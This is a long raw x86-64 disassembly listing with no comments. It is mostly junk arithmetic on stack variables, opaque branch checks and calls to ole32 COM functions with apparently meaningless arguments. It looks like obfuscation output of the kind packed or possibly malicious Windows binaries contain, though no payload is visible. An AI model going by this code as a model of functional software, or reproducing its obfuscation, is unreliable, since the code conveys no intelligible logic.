mov dword [rsp + 0x1f740], 0x23187c5a
movabs rax, 0x618cc2b43555dbcc
mov qword [rsp + 0x11348], rax
movabs rax, 0x66dc05841c5aadcb
mov qword [rsp + 0x5e00], rax
movabs rax, 0x2609039a9734b925
mov qword [rsp + 0x11340], rax
mov eax, 0x293d
mov word [rsp + 0xe7c0], ax
movabs rax, 0x15c5ec47e45424a5
mov qword [rsp + 0x4a8], rax
mov eax, 0x29fa
mov word [rsp + 0xba98], ax
movabs rax, 0x6091c176965642dd
mov qword [rsp + 0xba90], rax
mov byte [rsp + 0x14074], 0xf9
mov dword [rsp + 0xba80], 0x2bc482ae
movabs rax, 0x702c7291e2ead4a3
mov qword [rsp + 0xe798], rax
movabs rax, 0xdbb95224cdc077c9
mov qword [rsp + 0x11310], rax
mov byte [rsp + 0x224c0], 0x1b
mov dword [rsp + 0xe770], 0x1d088302
mov dword [rsp + 0xe760], 0x4589bc66
movabs rax, 0x3513fac221854ab6
mov qword [rsp + 0xe758], rax
mov eax, 0x87
mov word [rsp + 0x27a18], ax
mov eax, 0x4792
mov word [rsp + 0xe748], ax
mov byte [rsp + 0x24e68], 0xb1
mov eax, 0xd3f
mov word [rsp + 0x1c790], ax
mov dword [rsp + 0x3078], 0x6c22c6f0
movabs rax, 0x6d7fedd7522db6b0
mov qword [rsp + 0xba38], rax
mov dword [rsp + 0x24e48], 0xfe59c039
mov dword [rsp + 0x24e40], 0x55579c92
mov byte [rsp + 0x1f671], 0xf5
mov byte [rsp + 0x19b4c], 0x18
mov byte [rsp + 0x3a8], 0x25
mov dword [rsp + 0x16d10], 0x711ac290
mov byte [rsp + 0x3038], 0x76
movabs rax, 0x333efe6c3764f19b
mov qword [rsp + 0x19b38], rax
mov eax, 0xf68
mov word [rsp + 0x19b30], ax
movabs rax, 0x3d6d4965f48c542
mov qword [rsp + 0x19b28], rax
movabs rax, 0x1f4e1d5416a1c955
mov qword [rsp + 0x388], rax
mov byte [rsp + 0x2ffc], 0x6f
mov dword [rsp + 0x1c750], 0x12c14bfe
mov dword [rsp + 0x2a7f0], 0xa0728e29
movabs rax, 0x3bf1c1a6d0f63896
mov qword [rsp + 0x13fa8], rax
mov dword [rsp + 0x13fa0], 0x619279c8
mov eax, 0x5ae
mov word [rsp + 0x5d30], ax
movabs rax, 0x1fb90c9f1a79c69a
mov qword [rsp + 0x5d28], rax
movabs rax, 0x189ff672f371cacb
mov qword [rsp + 0x24e00], rax
movabs rax, 0xadead946f2356862
mov qword [rsp + 0x8cf0], rax
mov dword [rsp + 0x2a7a4], 0x388cb3db
movabs rax, 0x400597ae5cd678ee
mov qword [rsp + 0x338], rax
mov dword [rsp + 0xb988], 0x29742d8c
movabs rax, 0x22b2537d60a3dcec
mov qword [rsp + 0xb978], rax
mov eax, 0x6e34
mov word [rsp + 0x2790c], ax
movabs rax, 0x36aceb7de490f9d7
mov qword [rsp + 0x2f0], rax
mov eax, 0x1bef
mov word [rsp + 0x13ef0], ax
mov eax, 0xa1b
mov word [rsp + 0x1f5a0], ax
movabs rax, 0x73f45f7b804b04da
mov qword [rsp + 0x1f590], rax
mov dword [rsp + 0x19a58], 0x3d22a755
movabs rax, 0x9f66e3137664a444
mov qword [rsp + 0x8c60], rax
mov dword [rsp + 0x5c44], 0x6ab1df51
mov dword [rsp + 0x13ebc], 0x47e478c
mov eax, 0x786e
mov word [rsp + 0x1f578], ax
mov byte [rsp + 0x19a08], 0x8c
mov byte [rsp + 0x2f40], 0x5a
mov dword [rsp + 0xb904], 0xad075703
mov byte [rsp + 0x5c0c], 0xad
movabs rax, 0x7258452f47a69bf5
mov qword [rsp + 0xb8f0], rax
mov dword [rsp + 0x218], 0xf7cb989c
mov eax, 0x14f5
mov word [rsp + 0x199d8], ax
mov dword [rsp + 0x199c8], 0xf3e2e3d0
mov eax, 0x7eb8
mov word [rsp + 0xb8c0], ax
movabs rax, 0x8b6af8e9eaa6c47f
mov qword [rsp + 0xb8b8], rax
movabs rax, 0x3f109a05dfb5cb3a
mov qword [rsp + 0xe580], rax
mov eax, 0x5ce
mov word [rsp + 0xe568], ax
movabs rax, 0x76d15480e9b00720
mov qword [rsp + 0xe558], rax
movabs rax, 0x88b55924be303bf
mov qword [rsp + 0xe550], rax
mov byte [rsp + 0x1f510], 6
mov byte [rsp + 0x16b80], 0xf7
mov byte [rsp + 0x199b0], 0x67
mov eax, 0xafe
mov word [rsp + 0x22240], ax
mov dword [rsp + 0x277e8], 0x7ae11537
mov dword [rsp + 0x199a0], 0x401a3c3
mov dword [rsp + 0x2f04], 0x3cdcc6ac
mov byte [rsp + 0x16b60], 0x3b
mov dword [rsp + 0x24ca8], 0x5842415
mov dword [rsp + 0xb894], 0xac4bc376
mov dword [rsp + 0x16b44], 0x77a02342
mov dword [rsp + 0x11100], 0xcbb0bc72
mov dword [rsp + 0x24c70], 0xe7aecbb
mov dword [rsp + 0x16b18], 0x910e106
movabs rax, 0x13e3181f6c44efe9
mov qword [rsp + 0x5b50], rax
mov eax, 0x29c1
mov word [rsp + 0x1d8], ax
movabs rax, 0x60b4e7cced159bf3
mov qword [rsp + 0x16b10], rax
mov eax, 0x88f
mov word [rsp + 0x1c5dc], ax
mov dword [rsp + 0x5b44], 0x3b31128c
mov dword [rsp + 0x1c5d0], 0xddcb6a36
mov dword [rsp + 0x1c5bc], 0xe53b8e95
movabs rax, 0x4be58ed6f4919410
mov qword [rsp + 0x2a628], rax
movabs rax, 0x7ae52d65698ee218
mov qword [rsp + 0x8b20], rax
mov eax, 0xf35
mov word [rsp + 0xb828], ax
mov dword [rsp + 0x5b00], 0x196a49d5
mov dword [rsp + 0x2e80], 0xbd0ff262
mov byte [rsp + 0xe4c4], 0xe4
mov eax, 0x4761
mov word [rsp + 0x16acc], ax
mov byte [rsp + 0x11068], 0x84
mov eax, 0x119d
mov word [rsp + 0x138], ax
mov byte [rsp + 0xb7d8], 0x1e
mov byte [rsp + 0x22158], 0xd
mov dword [rsp + 0x27678], 0x18775bb
mov eax, 0xe19
mov word [rsp + 0x198bc], ax
mov byte [rsp + 0x2a580], 0x61
mov eax, 0x1c26
mov word [rsp + 0x22130], ax
mov eax, 0x56b6
mov word [rsp + 0x8a50], ax
mov dword [rsp + 0x27658], 0x11ceae98
mov dword [rsp + 0x22128], 0x6ac7d4ed
mov eax, 0x2f6
mov word [rsp + 0x1f3ec], ax
mov eax, 0x7ab4
mov word [rsp + 0x1c4ec], ax
mov eax, 0x29e7
mov word [rsp + 0x1f3e8], ax
movabs rax, 0xbdbdb80a2733c938
mov qword [rsp + 0x1f3e0], rax
movabs rax, 0xbc51848417eacd5b
mov qword [rsp + 0x19890], rax
movabs rax, 0x3f97464fb2e97c45
mov qword [rsp + 0x27628], rax
mov dword [rsp + 0xd0], 0xbf775803
movabs rax, 0x39d92255d864f512
mov qword [rsp + 0x16a08], rax
mov byte [rsp + 0x2dc8], 0x56
mov byte [rsp + 0x1f3b4], 0xa5
mov eax, 0x7b01
mov word [rsp + 0xc8], ax
movabs rax, 0x5f84bf18dead7a28
mov qword [rsp + 0xb8], rax
mov eax, 0x502d
mov word [rsp + 0x169c8], ax
movabs rax, 0x66f767e64e85d4a3
mov qword [rsp + 0x1f328], rax
mov byte [rsp + 0x2a4a0], 0x38
mov eax, 0x218
mov word [rsp + 0x275c4], ax
mov dword [rsp + 0x54], 0x5a827af6
mov eax, 0x2a1e
mov word [rsp + 0x11564], ax
movabs rcx, 0x57913ad8a1d33fc3
mov rax, qword [0x1402412c8]
add rax, rcx
mov qword [0x1402412c8], rax
mov dword [rsp + 0x25048], 0x74ee
mov dword [rsp + 0x25394], 0x9c62
mov dword [rsp + 0x197f8], 0xd324
movsx eax, word [rsp + 0x11564]
mov dword [rsp + 0x2d344], eax
cmp dword [rsp + 0x2d344], 0x2a1e
je 0x140059cca
cmp dword [rsp + 0x2d344], 0x6524
je 0x1402030f3
jmp 0x140203139
movzx eax, word [rsp + 0x67d0]
imul eax, eax, 0x63b
mov word [rsp + 0x67d0], ax
mov dword [rsp + 0x108c8], 0x5c08
cmp dword [rsp + 0x25394], 0xc51e
jae 0x140059fe7
movzx eax, word [rsp + 0x67d0]
sar eax, 8
mov word [rsp + 0x67d0], ax
mov rax, qword [0x1402412c8]
shl rax, 0x33
mov qword [0x1402412c8], rax
movzx eax, word [rsp + 0x67d0]
xor eax, 0x10d
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
or eax, 0x291
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
sub eax, 0xcba
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
add eax, 0xe1f
mov word [rsp + 0x67d0], ax
mov eax, dword [rsp + 0x25394]
add eax, 0x9e
mov dword [rsp + 0x25394], eax
movzx eax, word [rsp + 0x67d0]
and eax, 0x784
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
add eax, 0x707
mov word [rsp + 0x67d0], ax
movsx eax, word [rsp + 0x11564]
sub eax, 0x1acf
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x67d0]
add eax, 0xc2c
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
sub eax, 0x4d
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
shl eax, 0xe
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
xor eax, 0xfdb
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
or eax, 0x530
mov word [rsp + 0x67d0], ax
mov rax, qword [0x1402412c8]
sar rax, 0x3b
mov qword [0x1402412c8], rax
movzx eax, word [rsp + 0x67d0]
and eax, 0xe58
mov word [rsp + 0x67d0], ax
movsx eax, word [rsp + 0x11564]
sub eax, 0x7790
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x67d0]
add eax, 0x504
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
add eax, 0xdad
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
sub eax, 0xf84
mov word [rsp + 0x67d0], ax
movsx eax, word [rsp + 0x11564]
and eax, 0x469e
mov word [rsp + 0x11564], ax
movsx eax, word [rsp + 0x11564]
add eax, 0xb22
mov word [rsp + 0x11564], ax
movsx eax, word [rsp + 0x11564]
sub eax, 0x1c12
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x67d0]
sub eax, 0x2ef
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
add eax, 0xb25
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
or eax, 0x8c4
mov word [rsp + 0x67d0], ax
mov rax, qword [0x1402412c8]
shl rax, 0x36
mov qword [0x1402412c8], rax
mov rax, qword [0x1402412c8]
sar rax, 0x1d
mov qword [0x1402412c8], rax
movsx eax, word [rsp + 0x11564]
xor eax, 0x7996
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x67d0]
and eax, 0x1ed
mov word [rsp + 0x67d0], ax
movsx eax, word [rsp + 0x11564]
add eax, 0x3272
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x67d0]
sub eax, 0x2e9
mov word [rsp + 0x67d0], ax
movsx eax, word [rsp + 0x11564]
add eax, 0x4cd6
mov word [rsp + 0x11564], ax
movabs rcx, 0x6bfdf0d5afcee50b
mov rax, qword [0x1402412c8]
sub rax, rcx
mov qword [0x1402412c8], rax
movsx eax, word [rsp + 0x11564]
sub eax, 0x2ad5
mov word [rsp + 0x11564], ax
jmp 0x140059ceb
movzx eax, word [rsp + 0x67d0]
and eax, 0x4aa
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
add eax, 0x358
mov word [rsp + 0x67d0], ax
movsx eax, word [rsp + 0x11564]
add eax, 0x2c1a
mov word [rsp + 0x11564], ax
movabs rcx, 0x1f1cc237289435a
mov rax, qword [0x1402412c8]
sub rax, rcx
mov qword [0x1402412c8], rax
movsx eax, word [rsp + 0x11564]
shl eax, 3
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x67d0]
or eax, 0xdd4
mov word [rsp + 0x67d0], ax
mov eax, dword [rsp + 0x197f8]
sub eax, 0xd2
mov dword [rsp + 0x197f8], eax
movsx eax, word [rsp + 0x11564]
xor eax, 0x4c02
mov word [rsp + 0x11564], ax
movsx eax, word [rsp + 0x11564]
sar eax, 0xd
mov word [rsp + 0x11564], ax
movsx eax, word [rsp + 0x11564]
and eax, 0x3083
mov word [rsp + 0x11564], ax
movsx eax, word [rsp + 0x11564]
add eax, 0x4063
mov word [rsp + 0x11564], ax
movabs rcx, 0x3b4933409d2b1a12
mov rax, qword [0x1402412c8]
sub rax, rcx
mov qword [0x1402412c8], rax
movsx eax, word [rsp + 0x11564]
sub eax, 0x149f
mov word [rsp + 0x11564], ax
movsx eax, word [rsp + 0x11564]
add eax, 0x23a5
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x67d0]
add eax, 0xc93
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
sub eax, 0xe06
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
and eax, 0xfe2
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
sub eax, 0x137
mov word [rsp + 0x67d0], ax
movsx eax, word [rsp + 0x11564]
sar eax, 0xd
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x67d0]
shl eax, 0xa
mov word [rsp + 0x67d0], ax
movsx eax, word [rsp + 0x11564]
or eax, 0x7d8a
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x67d0]
xor eax, 0xe60
mov word [rsp + 0x67d0], ax
movsx eax, word [rsp + 0x11564]
add eax, 0x5c93
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x67d0]
and eax, 5
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
sub eax, 0xd1e
mov word [rsp + 0x67d0], ax
movabs rcx, 0x3deb523a0f537e08
mov rax, qword [0x1402412c8]
add rax, rcx
mov qword [0x1402412c8], rax
movzx eax, word [rsp + 0x67d0]
add eax, 0x8c
mov word [rsp + 0x67d0], ax
movsx eax, word [rsp + 0x11564]
sub eax, 0x275c
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x67d0]
sub eax, 0x883
mov word [rsp + 0x67d0], ax
movabs rcx, 0x2f01203d6de6e664
mov rax, qword [0x1402412c8]
add rax, rcx
mov qword [0x1402412c8], rax
movsx eax, word [rsp + 0x11564]
sub eax, 0x636e
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x67d0]
and eax, 0xf63
mov word [rsp + 0x67d0], ax
movsx eax, word [rsp + 0x11564]
xor eax, 0x4ec4
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x67d0]
shl eax, 3
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
sar eax, 1
mov word [rsp + 0x67d0], ax
movsx eax, word [rsp + 0x11564]
or eax, 0x6762
mov word [rsp + 0x11564], ax
movsx eax, word [rsp + 0x11564]
add eax, 0x5f71
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x67d0]
add eax, 0xa2c
mov word [rsp + 0x67d0], ax
movsx eax, word [rsp + 0x11564]
and eax, 0x4041
mov word [rsp + 0x11564], ax
movabs rcx, 0x17996d10e3d9a9e1
mov rax, qword [0x1402412c8]
sub rax, rcx
mov qword [0x1402412c8], rax
movsx eax, word [rsp + 0x11564]
sub eax, 0x6282
mov word [rsp + 0x11564], ax
movsx eax, word [rsp + 0x11564]
add eax, 0x7fd9
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x67d0]
sub eax, 0x9ed
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
add eax, 0xab9
mov word [rsp + 0x67d0], ax
movabs rcx, 0x72863907080ca883
mov rax, qword [0x1402412c8]
sub rax, rcx
mov qword [0x1402412c8], rax
movsx eax, word [rsp + 0x11564]
add eax, 0x2636
mov word [rsp + 0x11564], ax
cmp dword [rsp + 0x197f8], 0x8fe0
ja 0x140059fe7
mov rax, qword [0x1402412c8]
mov qword [rsp + 0x29528], rax
mov byte [rsp + 0x65c8], 0xc8
mov dword [rsp + 0x11234], 0x224be2b5
movzx eax, word [rsp + 0x67d0]
cmp eax, 0x9ed
jle 0x14005a4ad
mov dword [rsp + 0x1e838], 0xc90310b1
movzx eax, word [rsp + 0x67d0]
mov dword [rsp + 0x2d348], eax
cmp dword [rsp + 0x2d348], 0x79a
je 0x14005a465
cmp dword [rsp + 0x2d348], 0xe7d
je 0x14005a43c
jmp 0x14005a4a2
movzx r9d, word [rsp + 0x11564]
movzx r8d, word [rsp + 0x67d0]
movzx edx, byte [rsp + 0x65c8]
movzx ecx, word [rsp + 0x67d0]
call fcn.140203290
jmp 0x14005a4a2
mov eax, dword [rsp + 0x11234]
add eax, 0x7aea684e
mov dword [rsp + 0x11234], eax
lea rcx, [rsp + 0x67d0]
call qword [sym.imp.ole32.dll_CoEnableCallCancellation]
mov dword [rsp + 0x12e40], eax
movzx eax, word [rsp + 0x67d0]
or eax, 0xbad
mov word [rsp + 0x67d0], ax
mov dword [rsp + 0x56b4], 0x701d
movzx eax, byte [rsp + 0x65c8]
shl eax, 7
mov byte [rsp + 0x65c8], al
mov rax, qword [rsp + 0x29528]
sar rax, 0x2c
mov qword [0x1402412c8], rax
movzx eax, word [rsp + 0x67d0]
xor eax, 0xd9b
mov word [rsp + 0x67d0], ax
mov eax, dword [rsp + 0x11234]
and eax, 0x5617cc27
mov dword [rsp + 0x11234], eax
movsx eax, word [rsp + 0x11564]
sub eax, 0x2aac
mov word [rsp + 0x11564], ax
movabs rcx, 0x75f5beef1a56da81
mov rax, qword [rsp + 0x29528]
add rax, rcx
mov qword [0x1402412c8], rax
movabs rcx, 0xdd5561a19e462e9
mov rax, qword [0x1402412c8]
and rax, rcx
mov qword [rsp + 0x29528], rax
movabs rcx, 0x933e67d1fe424af
mov rax, qword [0x1402412c8]
sub rax, rcx
mov qword [rsp + 0x29528], rax
mov eax, dword [rsp + 0x108c8]
add eax, 0xab
mov dword [rsp + 0x108c8], eax
movsx eax, word [rsp + 0x11564]
add eax, 0x4e44
mov word [rsp + 0x11564], ax
mov eax, dword [rsp + 0x11234]
sub eax, 0x15f247c4
mov dword [rsp + 0x11234], eax
movabs rcx, 0x7ff04fa6a4a2deee
mov rax, qword [rsp + 0x29528]
sub rax, rcx
mov qword [0x1402412c8], rax
movzx eax, byte [rsp + 0x65c8]
add eax, 0x36
mov byte [rsp + 0x65c8], al
movsx eax, word [rsp + 0x11564]
xor eax, 0x5201
mov word [rsp + 0x11564], ax
movzx eax, byte [rsp + 0x65c8]
sar eax, 3
mov byte [rsp + 0x65c8], al
mov eax, dword [rsp + 0x1e838]
or eax, 0x67a45eb1
mov dword [rsp + 0x1e838], eax
mov rax, qword [rsp + 0x29528]
shl rax, 3
mov qword [0x1402412c8], rax
movzx eax, word [rsp + 0x67d0]
and eax, 0x46a
mov word [rsp + 0x67d0], ax
movzx eax, word [rsp + 0x67d0]
add eax, 0xf0b
mov word [rsp + 0x67d0], ax
movsx eax, word [rsp + 0x11564]
sub eax, 0x3e7b
mov word [rsp + 0x11564], ax
mov eax, dword [rsp + 0x11234]
add eax, 0x7517fe80
mov dword [rsp + 0x11234], eax
mov eax, dword [rsp + 0x1e838]
sub eax, 0x6e1f995a
mov dword [rsp + 0x1e838], eax
mov eax, dword [rsp + 0x11234]
and eax, 0x6acd3f02
mov dword [rsp + 0x11234], eax
movzx eax, byte [rsp + 0x65c8]
add eax, 0x1b
mov byte [rsp + 0x65c8], al
mov eax, dword [rsp + 0x1e838]
sub eax, 0xa5db514
mov dword [rsp + 0x1e838], eax
movabs rcx, 0xf3c1f1f05b5fbac
mov rax, qword [0x1402412c8]
sub rax, rcx
mov qword [rsp + 0x29528], rax
mov eax, dword [rsp + 0x11234]
add eax, 0x71b60370
mov dword [rsp + 0x11234], eax
movzx eax, byte [rsp + 0x65c8]
or eax, 0xd4
mov byte [rsp + 0x65c8], al
movsx eax, word [rsp + 0x11564]
xor eax, 0x6516
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x67d0]
shl eax, 0xe
mov word [rsp + 0x67d0], ax
mov eax, dword [rsp + 0x1e838]
shr eax, 0x19
mov dword [rsp + 0x1e838], eax
movabs rcx, 0x5161ced024dd7848
mov rax, qword [rsp + 0x29528]
and rax, rcx
mov qword [0x1402412c8], rax
movabs rcx, 0x655d9d68577ea380
mov rax, qword [rsp + 0x29528]
add rax, rcx
mov qword [0x1402412c8], rax
movsx eax, word [rsp + 0x11564]
sub eax, 0x77f3
mov word [rsp + 0x11564], ax
movzx eax, byte [rsp + 0x65c8]
add eax, 0x26
mov byte [rsp + 0x65c8], al
movabs rcx, 0x3cf3b3edd5722bbc
mov rax, qword [rsp + 0x29528]
sub rax, rcx
mov qword [0x1402412c8], rax
movzx eax, byte [rsp + 0x65c8]
sub eax, 0x36
mov byte [rsp + 0x65c8], al
movzx eax, byte [rsp + 0x65c8]
and eax, 0x1a
mov byte [rsp + 0x65c8], al
mov eax, dword [rsp + 0x11234]
add eax, 0x6c9c14d2
mov dword [rsp + 0x11234], eax
movzx eax, word [rsp + 0x67d0]
add eax, 0x5ed
mov word [rsp + 0x67d0], ax
movsx eax, word [rsp + 0x11564]
sub eax, 0x7fa4
mov word [rsp + 0x11564], ax
movzx eax, byte [rsp + 0x65c8]
xor eax, 0x1b
mov byte [rsp + 0x65c8], al
mov eax, dword [rsp + 0x11234]
shl eax, 0x1f
mov dword [rsp + 0x11234], eax
mov eax, dword [rsp + 0x1e838]
shr eax, 6
mov dword [rsp + 0x1e838], eax
movabs rcx, 0x4c35fab3d1c1a47e
mov rax, qword [rsp + 0x29528]
or rax, rcx
mov qword [0x1402412c8], rax
cmp dword [rsp + 0x108c8], 0x7a17
jbe 0x14005a4ad
cmp dword [rsp + 0x56b4], 0x62a9
jbe 0x14005acad
movzx eax, byte [rsp + 0x65c8]
and eax, 0x14
mov byte [rsp + 0x65c8], al
movsx eax, word [rsp + 0x11564]
add eax, 0x1414
mov word [rsp + 0x11564], ax
mov eax, dword [rsp + 0x11234]
sub eax, 0x7427ab7d
mov dword [rsp + 0x11234], eax
movabs rcx, 0x2207bfa26e2941b0
mov rax, qword [0x1402412c8]
sub rax, rcx
mov qword [rsp + 0x29528], rax
movabs rcx, 0x44b92c88eb3a99dc
mov rax, qword [rsp + 0x29528]
add rax, rcx
mov qword [0x1402412c8], rax
movzx eax, word [rsp + 0x67d0]
sub eax, 0xc13
mov word [rsp + 0x67d0], ax
mov eax, dword [rsp + 0x56b4]
sub eax, 0xf6
mov dword [rsp + 0x56b4], eax
movzx eax, byte [rsp + 0x65c8]
add eax, 0x1f
mov byte [rsp + 0x65c8], al
movsx eax, word [rsp + 0x11564]
and eax, 0x406f
mov word [rsp + 0x11564], ax
movzx eax, byte [rsp + 0x65c8]
add eax, 0x71
mov byte [rsp + 0x65c8], al
mov eax, dword [rsp + 0x1e838]
or eax, 0xe7c3ad38
mov dword [rsp + 0x1e838], eax
mov eax, dword [rsp + 0x11234]
shl eax, 0x1f
mov dword [rsp + 0x11234], eax
movsx eax, word [rsp + 0x11564]
xor eax, 0x54fd
mov word [rsp + 0x11564], ax
movzx eax, word [rsp + 0x67d0]
sar eax, 7
mov word [rsp + 0x67d0], ax
movsx eax, word [rsp + 0x11564]
sub eax, 0x70cb
mov word [rsp + 0x11564], ax
movzx eax, byte [rsp + 0x65c8]
and eax, 0x64
mov byte [rsp + 0x65c8], al
movabs rcx, 0x3f213ed31f4a6dbb
mov rax, qword [0x1402412c8]
sub rax, rcx
mov qword [rsp + 0x29528], rax
mov eax, dword [rsp + 0x11234]
add eax, 0x27b30105
mov dword [rsp + 0x11234], eax
movabs rcx, 0x72fe7f385599a3e7
mov rax, qword [rsp + 0x29528]
sub rax, rcx
mov qword [0x1402412c8], rax
movsx eax, word [rsp + 0x11564]
sub eax, 0x62bf
mov word [rsp + 0x11564], ax
movzx eax, byte [rsp + 0x65c8]
add eax, 0x15
mov byte [rsp + 0x65c8], al
mov eax, dword [rsp + 0x1e838]
add eax, 0xf439d6b0
mov dword [rsp + 0x1e838], eax
mov eax, dword [rsp + 0x11234]
sub eax, 0x14566f4e
mov dword [rsp + 0x11234], eax
movabs rcx, 0x5cf718d21725e248
mov rax, qword [rsp + 0x29528]
and rax, rcx
mov qword [0x1402412c8], rax
movabs rcx, 0x61d8e3106e3bc66e
mov rax, qword [0x1402412c8]
xor rax, rcx
mov qword [rsp + 0x29528], rax
mov eax, dword [rsp + 0x1e838]
shr eax, 1
mov dword [rsp + 0x1e838], eax
mov rax, qword [rsp + 0x29528]
shl rax, 0x10
mov qword [0x1402412c8], rax
movzx eax, word [rsp + 0x67d0]
or eax, 0x95d
mov word [rsp + 0x67d0], ax
movzx eax, byte [rsp + 0x65c8]
add eax, 0x26
mov byte [rsp + 0x65c8], al
movsx eax, word [rsp + 0x11564]
sub eax, 0x5dc5
mov word [rsp + 0x11564], ax
movabs rcx, 0xce7c79acbf741c4
mov rax, qword [0x1402412c8]
and rax, rcx
mov qword [rsp + 0x29528], rax
movabs rcx, 0x6c95b9c7cdf03dd0
mov rax, qword [rsp + 0x29528]
add rax, rcx
mov qword [0x1402412c8], rax
movzx eax, byte [rsp + 0x65c8]
sub eax, 0x58
mov byte [rsp + 0x65c8], al
movzx eax, word [rsp + 0x67d0]
sub eax, 0x7cf
mov word [rsp + 0x67d0], ax
movzx eax, byte [rsp + 0x65c8]
add eax, 0xba
mov byte [rsp + 0x65c8], al
movzx eax, word [rsp + 0x67d0]
add eax, 0x1c0
mov word [rsp + 0x67d0], ax
movsx eax, word [rsp + 0x11564]
add eax, 0x1d77
mov word [rsp + 0x11564], ax
movabs rcx, 0x1865a2f2be1fef23
mov rax, qword [0x1402412c8]
sub rax, rcx
mov qword [rsp + 0x29528], rax
movabs rcx, 0x135c1cd16426d4ca
mov rax, qword [rsp + 0x29528]
sub rax, rcx
mov qword [0x1402412c8], rax
movzx eax, byte [rsp + 0x65c8]
xor eax, 0xd8
mov byte [rsp + 0x65c8], al
movzx eax, byte [rsp + 0x65c8]
shl eax, 1
mov byte [rsp + 0x65c8], al
mov eax, dword [rsp + 0x1e838]
shr eax, 0x1a
mov dword [rsp + 0x1e838], eax
movsx eax, word [rsp + 0x11564]
or eax, 0x2278
mov word [rsp + 0x11564], ax
movsx eax, word [rsp + 0x11564]
and eax, 0x4451
mov word [rsp + 0x11564], ax
movsx eax, word [rsp + 0x11564]
sub eax, 0x6f7
mov word [rsp + 0x11564], ax
mov eax, dword [rsp + 0x11234]
add eax, 0x6ca63666
mov dword [rsp + 0x11234], eax
mov eax, dword [rsp + 0x1e838]
and eax, 0x724e3f66
mov dword [rsp + 0x1e838], eax
movabs rcx, 0x772c12bcf4c81b4e
mov rax, qword [rsp + 0x29528]
sub rax, rcx
mov qword [0x1402412c8], rax
movzx eax, byte [rsp + 0x65c8]
sub eax, 0x1e
mov byte [rsp + 0x65c8], al
movzx eax, word [rsp + 0x67d0]
add eax, 0x8ac
mov word [rsp + 0x67d0], ax
jmp 0x14005a86f
cmp dword [rsp + 0x1e838], 0xd632d615
jb 0x14005ad67
movzx eax, word [rsp + 0x67d0]
mov dword [rsp + 0x2d34c], eax
cmp dword [rsp + 0x2d34c], 0x7a8
je 0x14005acdc
jmp 0x14005ad0d
mov eax, dword [rsp + 0x1e838]
mov dword [rsp + 0x20], eax
movzx r9d, word [rsp + 0x67d0]
movzx r8d, word [rsp + 0x67d0]
mov edx, 0x71
movzx ecx, word [rsp + 0x67d0]
call fcn.140055f80
jmp 0x14005ad62
lea rax, [rsp + 0x1e838]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xe7
lea rax, [rsp + 0x29f28]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xef
mov r9d, 0x69
lea r8, [rsp + 0x11564]
lea rdx, [rsp + 0x67d0]
lea rcx, [rsp + 0x29f28]
call qword [sym.imp.ole32.dll_CoGetInstanceFromFile]
mov dword [rsp + 0x15da4], eax
jmp 0x14005ae41
movzx eax, word [rsp + 0x67d0]
cmp eax, 0x4b9
jge 0x14005ae41
mov eax, dword [rsp + 0x11234]
add eax, 0x13177ebf
mov dword [rsp + 0x11234], eax
cmp dword [rsp + 0x1e838], 0xafcaf4e3
jae 0x14005ae12
mov al, byte [rsp + 0x65c8]
mov byte [rsp + 0x2d350], al
cmp byte [rsp + 0x2d350], 0xd
je 0x14005adb4
jmp 0x14005adf5
lea r8, [rsp + 0x11234]
lea rdx, [rsp + 0x2b2b8]
lea rcx, [rsp + 0x11234]
call qword [sym.imp.ole32.dll_CoUnmarshalInterface]
mov dword [rsp + 0x1e358], eax
mov r9, qword [rsp + 0x29528]
mov r8b, 0xb0
mov dl, 0xaf
mov rcx, qword [rsp + 0x29528]
call fcn.1400561c0
jmp 0x14005ae12
lea rdx, [rsp + 0x11234]
lea rcx, [rsp + 0x65c8]
call qword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
mov dword [rsp + 0x2a998], eax
movzx eax, byte [rsp + 0x65c8]
add eax, 0x7e
mov byte [rsp + 0x65c8], al
lea rdx, [rsp + 0x29528]
lea rcx, [rsp + 0x11564]
call qword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
mov dword [rsp + 0x1e358], eax
mov eax, dword [rsp + 0x11234]
mov dword [rsp + 0x2d354], eax
cmp dword [rsp + 0x2d354], 0x35c1c3c5
je 0x14005ae6e
cmp dword [rsp + 0x2d354], 0x39ee56e6
